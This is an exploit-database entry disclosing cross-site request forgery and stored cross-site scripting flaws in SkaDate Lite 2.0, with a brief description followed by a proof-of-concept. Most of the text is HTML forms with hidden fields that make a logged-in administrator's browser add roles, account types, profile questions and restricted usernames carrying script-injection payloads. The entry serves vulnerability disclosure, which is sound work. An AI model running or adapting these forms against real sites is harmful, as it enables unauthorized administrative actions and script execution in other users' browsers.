SkaDate Lite 2.0 - Multiple CSRF And Persistent XSS Vulnerabilities

ID 1337DAY-ID-22490
Type zdt
Reporter LiquidWorm
Modified 2014-08-01T00:00:00


SkaDate Lite version 2.0 suffers from multiple cross-site request forgery and stored xss vulnerabilities. The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Input passed to several POST parameters is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.

<title>SkaDate Lite 2.0 Multiple XSRF And Persistent XSS Vulnerabilities</title>
<form action="" method="POST">
<input type="hidden" name="form_name" value="add-role" />
<input type="hidden" name="label" value='"><script>alert(1);</script>' />
<input type="hidden" name="submit" value="Add" />
<input type="submit" value="Execute #1" />
<form action="" method="POST">
<input type="hidden" name="form_name" value="account_type_49693e2b1cb50cad5c42b18a9103f146dcce2ec6" />
<input type="hidden" name="command" value="AddAccountType" />
<input type="hidden" name="key" value="questions_account_type_5615100a931845eca8da20cfdf7327e0" />
<input type="hidden" name="prefix" value="base" />
<input type="hidden" name="accountTypeName" value="5615100a931845eca8da20cfdf7327e0" />
<input type="hidden" name="lang[1][base][questions_account_type_5615100a931845eca8da20cfdf7327e0]" value='"><script>alert(2);</script>' />
<input type="hidden" name="role" value="12" />
<input type="submit" value="Execute #2" />
<form action="" method="POST">
<input type="hidden" name="form_name" value="qst_add_form" />
<input type="hidden" name="qst_name" value='"><script>alert(3);</script>' />
<input type="hidden" name="qst_description" value="ZSL" />
<input type="hidden" name="qst_account_type[0]" value="290365aadde35a97f11207ca7e4279cc" />
<input type="hidden" name="qst_section" value="f90cde5913235d172603cc4e7b9726e3" />
<input type="hidden" name="qst_answer_type" value="text" />
<input type="hidden" name="qst_possible_values" value="%5B%5D" />
<input type="hidden" name="year_range[to]" value="1996" />
<input type="hidden" name="year_range[from]" value="1930" />
<input type="hidden" name="qst_column_count" value="1" />
<input type="hidden" name="qst_required" value="" />
<input type="hidden" name="qst_on_sign_up" value="" />
<input type="hidden" name="qst_on_edit" value="" />
<input type="hidden" name="qst_on_view" value="" />
<input type="hidden" name="qst_on_search" value="" />
<input type="hidden" name="valuesStorage" value="%7B%7D" />
<input type="hidden" name="command" value="addQuestion" />
<input type="submit" value="Execute #3" />
<form action="" method="POST">
<input type="hidden" name="form_name" value='restrictedUsernamesForm"><script>alert(4);</script>' />
<input type="hidden" name="restrictedUsername" value='"><script>alert(5);</script>' />
<input type="hidden" name="addUsername" value="Add" />
<input type="submit" value="Execute #4 & #5" />

# [2016-04-20]  #